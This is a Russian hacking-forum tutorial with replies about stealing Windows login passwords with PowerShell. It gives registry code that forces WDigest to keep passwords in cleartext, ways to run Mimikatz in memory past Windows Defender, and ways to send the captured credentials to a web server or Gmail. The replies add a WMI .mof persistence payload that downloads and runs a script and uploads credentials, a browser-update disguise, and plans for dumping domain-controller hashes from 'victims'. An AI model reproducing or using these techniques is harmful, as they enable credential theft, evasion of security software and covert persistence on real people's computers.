Статья PowerShell для хакера (чать VII ) [Хищение паролей Windows с отправкой на почту]

123.jpg

Доброго времени суток колеги. Сегодня мы с вами посмотрим как используя возможности PowerShell можно похитить логины и пароли учетных записей пользователей Windows систем и отправить их на почту или Web сервер.
Сегодня мы с вами с помощью PowerShell :
  • Научимся изменять(создавать) и проверять наличие ключей реестра в Windows
  • Обходить Антивирусы и WindowsDefender при подгрузке mimikatz в памяти(Invoke-Mimikatz)
  • Отсылать пароли на:
    • Веб сервер
    • На почту
  • Немного вспомним материал из прошлых статей.
Я надеюсь большинство из вас наверняка слышали про замечательный продукт для тестирования безопасности Windows Систем ,который носит названия Mimikatz и по сегодняшний день благодарят его создателя (blog.gentilkiwi.com) Это программа используя уязвимость в WDigest.dll может получить логины и пароли в чистем виде.
3.png

Но с появлением Windows 8.1 разработчики добавили некоторую защиту,пытаясь урезать функционал WDigest ,но потом в одном из своих обновлениях все-таки вернула функционал WDigest,так как он используется во многих продуктах(Например ) И возможность получить пароли в открытом виде существует и по сегодняшний день даже в Windows 10.
Так вот первым нашим шагом будет включение возможности хранение в памяти LSA memory наших паролей в чистом виде(так как по умолчанию эта возможность выключена)
Делается это очень просто, нужно всего лишь создать ключ реестра с именем UseLogonCredential со значением 1 по следующему пути:
(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential)
Давайте научимся делать изменение в реестре с помощью PowerShell:
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ -Name UseLogonCredential -Type DWORD -Value 1
1.PNG
2.PNG


Почему с помощью PowerShell? Все просто) Я буду размещать набор команд на PowerShell в отдельном файле(скрипте) где то на гитхабе , и одной командой буду просто подгружать этот скрипт)
Сперва в этот скрипте я сделаю маленькую проверку на наличие нужного мне ключа в реестре,и если его не будет - то он будет создаваться.


Код:
$Path="HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\"
$key = "UseLogonCredential"
Function Lsa_Hack
{
New-ItemProperty -Path $Path -Name $key -Type DWORD -Value 1
}

Function Test-RegistryValue($regkey, $name) {
    $exists = Get-ItemProperty -Path "$regkey" -Name "$name" -ErrorAction SilentlyContinue
    If (($exists -ne $null) -and ($exists.Length -ne 0)) {
        Return $true
    }
    Return $false
}

if ((Test-RegistryValue $Path $key) -eq $false ) {Lsa_Hack}
Как видите объявил две переменные, $Path путь в реестре, $key - имя ключа реестра
Две функции:
Lsa_Hack - которая создает ключ нужный для включение хранение паролей в чистом виде
Test-RegistryValue - ф-я которая проверяет наличие ключа
Затем идет простейшее условие (если ключа нету то выполни функции Lsa_Hack)
Выглядит примерно так:
7.PNG
6.PNG


И так, с первым этапом думаю более менее понятно. Переходим к следующему шагу:
Обход антивируса и WinDefender:
После появление в свет программы Mimikatz все антивирусные команды начали жестко работать с его сигнатурами, и хранить эту программу локально на компьютере очень проблемно. В результате чего автор PowerSploit создал версию Mimikatz ,который загружается в оперативной памяти(не нужно скачивать его локально) Invoke-Mimikatz . Но в последнее время в PowerShell был встроен функционал который фильтрует такие подгрузки и распознает такие попытке как вредоносные:
3.png


Но проблема решаема. Достаточно запустить эту же команду в PowerShell меньшей версией,например вот в powershell -v 2 отработало нормально:
4.PNG

Второй способ - это просто заменить имена функций в скрипте и убрать секции комментариев и примеров в скрипте, и также разместить где то по другому адресу:
1234.PNG

В этом примере я заменил имя функции Invoke-Mimikatz на Invoke-Codeby - и никто не поругался,все отлично отработало)

6.PNG


Здесь надеюсь все понятно)
Идем дальше:
Отправка результатов команды на Веб Сервер:
Сперва давайте посмотрим как отправит POST запросы с помощью PowerShell
В этом нам поможет готовый функционал командлета
7.PNG

Как видите все просто... Теперь в переменную можно положить результат команды Invoke-Codeby:
8.PNG

Как видим нам прилетело POST запросом логин и пароль учетной записи Windows.
Если мы хотим что бы данные записывались где то в текстовый файлик на нашем веб сервере можно сделать так:
Создать какой то скрипт на PHP который будет дампить пост запросы в текстовый файл:
9.PNG

В данном примере просто пишутся все данные которые передаются пост параметром hack:
11.PNG
12.PNG

Тут я думаю все понятно) Давайте теперь отправим результат команды на почту gmail:
14.PNG
15.PNG


По итогу я положил Invoke-Codeby.ps1 в отдельный скрипт на гитхабе и собрал все команды в один скрипт:
17.PNG
16.PNG
18.PNG
19.PNG


Теперь немного вспомним мою прошлую статью и создадим вредоносную XML для незаметной подргрузки(Разместим где то на гитхабе к примеру):
20.PNG

И получаем тот же результат:
21.PNG


Всем спасибо)) Продолжение следует...

 
Последнее редактирование:
Годно,правда для осмысления бухенькому пришлось 4 раза перечитать и появился еще один весомый повод заглядывать периодически в реестр
 
DarkNode, подскажи пожалуйста в каком направлении двигаться в изучении PowerShell именно с точки зрения взлома не на уровне Scriptkidies, а глобально для пост-эксплуатации при изучении крупных сетей(с захватом DC и т.д). Интересуют векторы атак,литература,стоит ли отдельно изучать powershell-администрирование? Заранее благодарю
[doublepost=1485767644,1485767427][/doublepost]Какие есть варианты доставки полезной нагрузки?которые не палятся почтовыми серверами, и не уходят в спам?Методы обфускации?
 
  • Нравится
Реакции: RooDooS
DarkNode, подскажи пожалуйста в каком направлении двигаться в изучении PowerShell именно с точки зрения взлома не на уровне Scriptkidies, а глобально для пост-эксплуатации при изучении крупных сетей(с захватом DC и т.д). Интересуют векторы атак,литература,стоит ли отдельно изучать powershell-администрирование? Заранее благодарю
Для постэксплуатация DC и т.д существует уже готовый фреймворк который имеет в себе очень сильный функционал,основан на модулях PowerSploit и Nishang,Mimikatz и много всяких других плюшек заточенных на пентест ActiveDirectory и постэксплуатации Windows (от 7-й версии) .Со временем я о нем начну писать,но пока доношу базовые моменты, что бы тем кто меня читает можно было легче воспринимать информацию когда будем работать с этим фреймворком.Как раз таки , что бы не было эфекта скрипткидди - я посвятил себя этому скромному циклу статей.
Что касается литературы и информации - я думаю главное определится в целях. Имхо елси ты знаешь конкретно чего хочешь - то информация сама тебя найдет;)
Какие есть варианты доставки полезной нагрузки?которые не палятся почтовыми серверами, и не уходят в спам?Методы обфускации?
Я писал об этом в одной из своеих статей
Возможно поможет.
 
Для постэксплуатация DC и т.д существует уже готовый фреймворк который имеет в себе очень сильный функционал,основан на модулях PowerSploit и Nishang,Mimikatz и много всяких других плюшек заточенных на пентест ActiveDirectory и постэксплуатации Windows (от 7-й версии) .Со временем я о нем начну писать,но пока доношу базовые моменты, что бы тем кто меня читает можно было легче воспринимать информацию когда будем работать с этим фреймворком.Как раз таки , что бы не было эфекта скрипткидди - я посвятил себя этому скромному циклу статей.
Что касается литературы и информации - я думаю главное определится в целях. Имхо елси ты знаешь конкретно чего хочешь - то информация сама тебя найдет;)
Я писал об этом в одной из своеих статей
Возможно поможет.
Спасибо!!по поводу обхода фильтров gmail могу посоветовать компоненты activeX. Я создавал макросы при помощи них, отправку дает! как правило на корпоративные почты доходит!
По поводу PowerShell Empire солидарен,использую уже больше года, очень крутой инструмент!
 
Спасибо Вам! То что доктор прописал)
 
Скачал скрипт master/Exfiltration/Invoke-Mimikatz.ps1, при запуске не какой реакции, не ошибок, нечего. Что я делаю не так? :(
Если wdigest отключен скрипт не запуститься?
 
как сложно, хочу это всё реализовать, но не хватает опыта, можете прислать скрипт в лс,пожалуйста?
 
Последнее редактирование модератором:
Скачал скрипт master/Exfiltration/Invoke-Mimikatz.ps1, при запуске не какой реакции, не ошибок, нечего. Что я делаю не так? :(
Если wdigest отключен скрипт не запуститься?
Предполагаю , что у вы тестировали на Windows 7 ( Там нету Win Defender) Попробуйте выполнить те самые действия на вин8 или ин10 - там паувершелл поидеи должен поругаться...
 
Предполагаю , что у вы тестировали на Windows 7 ( Там нету Win Defender) Попробуйте выполнить те самые действия на вин8 или ин10 - там паувершелл поидеи должен поругаться...
У меня вопрос, а есть ещё методы загрузки бэкдора через ссылку?
 
У меня вопрос, а есть ещё методы загрузки бэкдора через ссылку?
SMB delivery,SMB Relay,REGSVR ,WEB DELIVERY + к тому же WEB Delivery можно использовать не только в павершел , а так же и различных языках программирования , например PHP,Python и т.д
 
  • Нравится
Реакции: 78tyn8!gert
Респектище! Реально рабочий инструмент, но вот про xml с "предыдущей статьи" в мозжечек не вползает...
 
Респектище! Реально рабочий инструмент, но вот про xml с "предыдущей статьи" в мозжечек не вползает...
Там если трудности с xml. Идешь в планировщик заданий(пуск->выполнить->taskschd.msc) создаешь задачу которая будет выполняться при загрузке системы.Затем там есть возможность экспортировать задачу в xml файл. Примеры можешь посмотреть и . Затем их так же можно и импортировать через консольную утилиту
Соответственно говоря я просто взял эспортированный xml файл и сделал из него шаблон ,который генерируется питоновским скриптом и изменимая часть там только команда ,в нашем случае на павершелл. Получил метерпретер мы просто выполняем загрузку xml файла и его импорт через schtasks. Xml файлы антивирусы не блочат и на выходе мы получаем успешное закрепление в системе.
Есесно вместо метерпретора мы можем средствами павершелл можем реализовать и любой другой Билл какого то трояна или rms...
 
  • Нравится
Реакции: 78tyn8!gert
Там если трудности с xml....
......
Есесно вместо метерпретора мы можем средствами павершелл можем реализовать и любой другой Билл какого то трояна или rms...
ДА я догнал, просто нужно было малец поспать, сразу пришло, спасибо за ответ, слепил небольшой шелл в виде апдейта для браузера.
Насчет RMS-подобных думаю для меня лично и для других будет немного не то, он палится сейчас почти всем, тем более что у виктимов в основном динамика (хоть и дополнил скрипт выдачей внешнего айпишника), а у корпов какой-никакой фаер на выходе. Палить себя не очень то хотелось, хоть и отношусь к грею.
Я тут проэксплуатировал еще один аналог, если поможете небольшую статейку забацаем, буквально коротенькую.
PS: Да простит меня Администрация...
Заключается она в эксплуатации Managed Object Format (*.mof). Цепляется к процедурам и выполняется только после их запуска.
Сам MiMi.mof:

#PRAGMA AUTORECOVER
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "root\\cimv2";
Name = "PowerShell Filter";
Query = "Select * From __InstanceCreationEvent WITHIN 2 "
"Where TargetInstance ISA \"Win32_Process\" "
"And Targetinstance.Name = \"explorer.exe\" ";
QueryLanguage = "WQL";
};
instance of CommandLineEventConsumer as $Consumer
{
Name = "PowerShell Helper";

CommandLineTemplate="cmd /C powershell.exe -NoP -Nonl -W Hidden -Exec Bypass -Command \"New-Itemproperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -name UseLogonCredential -Value 1 -PropertyType DWORD -Force; IEX (New-Object Net.WebClient).DownloadString(''); $CodebyInfo=invoke-Codeby; $wc=new-object System.Net.webclient; $wc.UploadString('c:\', $CodebyInfo)";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter =$EventFilter;
};

Можно к нему закрутить еще время в тему и ip с городом:
$pc = $env:computername
$ip = Invoke-RestMethod | Select -exp ip
$city = Invoke-RestMethod | Select -exp city
$country = Invoke-RestMethod | Select -exp country
$time = Get-Date -Format 'dd.MM.yyyy(hh:mm:ss)'
$msg.Subject="$country $city $ip $pc $time"

К сожалению короткий аналог Invoke я не нашел, тем более, что на старых поверах он не цепляет, можно конечно виктима обновить за него до повера 3.0 чтобы было шоколадно...
[doublepost=1493046454,1493044907][/doublepost]А еще конечно есть идея используя это дело воспользоваться ntdsutil и ntds_decode в паре с 7za прям на DC виктимов и забрать хеши... ~800 кб чистыми или с юпииксом ~600 кб скрипт и L0pht даст счастье...
 
  • Нравится
Реакции: kot-gor и <~DarkNode~>
ДА я догнал, просто нужно было малец поспать, сразу пришло, спасибо за ответ, слепил небольшой шелл в виде апдейта для браузера.
Насчет RMS-подобных думаю для меня лично и для других будет немного не то, он палится сейчас почти всем, тем более что у виктимов в основном динамика (хоть и дополнил скрипт выдачей внешнего айпишника), а у корпов какой-никакой фаер на выходе. Палить себя не очень то хотелось, хоть и отношусь к грею.
Я тут проэксплуатировал еще один аналог, если поможете небольшую статейку забацаем, буквально коротенькую.
PS: Да простит меня Администрация...
Заключается она в эксплуатации Managed Object Format (*.mof). Цепляется к процедурам и выполняется только после их запуска.
Сам MiMi.mof:
***Скрытый текст***
Можно к нему закрутить еще время в тему и ip с городом:
$pc = $env:computername
$ip = Invoke-RestMethod | Select -exp ip
$city = Invoke-RestMethod | Select -exp city
$country = Invoke-RestMethod | Select -exp country
$time = Get-Date -Format 'dd.MM.yyyy(hh:mm:ss)'
$msg.Subject="$country $city $ip $pc $time"

К сожалению короткий аналог Invoke я не нашел, тем более, что на старых поверах он не цепляет, можно конечно виктима обновить за него до повера 3.0 чтобы было шоколадно...
[doublepost=1493046454,1493044907][/doublepost]А еще конечно есть идея используя это дело воспользоваться ntdsutil и ntds_decode в паре с 7za прям на DC виктимов и забрать хеши... ~800 кб чистыми или с юпииксом ~600 кб скрипт и L0pht даст счастье...
Собирался про MoF так же писать))) Но пока в командировке)

Пока не написал ,дополню твой ответ по моф-у:
В твоем случае хендлер работает на открытие процесс explorer.exe что стартует при старте ОС в большинстве случаев ( ну бывает в игровых клубах его заменяют RunPad Shell к примеру но не суть...)
Играя с моф-ом можно так же установить хендлер на закрытие процесс

"SELECT * FROM __InstanceCreationEvent Within 5 "
"Where TargetInstance Isa \"Win32_Process\" "
"And Targetinstance.Name = \"notepad.exe\" ";


Если нужно интервальный хендлер (циклично через необходимый промежуток времени) выглядит примерно так
"Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Minute = 30 "

Более подробно про технику моф+powershell описал один колега в 2014 году в этом посте:
[HIDE="2"]



Соответственно можно накидать простейший скрипт на питоне который считает пользовательский ввод на выбор хендлер и за основу возьмет готовый шаблон по тому же принципу что и с xml.
[doublepost=1493183589][/doublepost]Вернее на закрытие процесса хендлер выглядит так:
"SELECT * FROM __InstanceDeletionEvent Within 5 "
"Where TargetInstance Isa \"Win32_Process\" "
"And Targetinstance.Name = \"powershell.exe\" ";
 
Посоветуйте что-нибудь интересное по повышению прав
 
Посоветуйте что-нибудь интересное по повышению прав
Скоро сделаю обзор утилиты sherlock
,за основу будет взята .
Да и вообще там на этом блоге 12 статей по эскалации:
 
  • Нравится
Реакции: 78tyn8!gert и Juice
Из под юзера в Windows 7 не даст сделать такое.
New-ItemProperty : Запрошенный доступ к реестру запрещен.

Как можно получить доступ к реестру в таком случае?

PS C:\Users\zzz> New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ -Name UseLogo
Credential -Type DWORD -Value 1
New-ItemProperty : Запрошенный доступ к реестру запрещен.
строка:1 знак:17
+ New-ItemProperty <<<< -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ -Name UseLogonCredenti
al -Type DWORD -Value 1
+ CategoryInfo : PermissionDenied: (HKEY_LOCAL_MACH...viders\WDigest\:String) [New-ItemProperty], Securit
yException
+ FullyQualifiedErrorId : System.Security.SecurityException,Microsoft.PowerShell.Commands.NewItemPropertyCommand
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!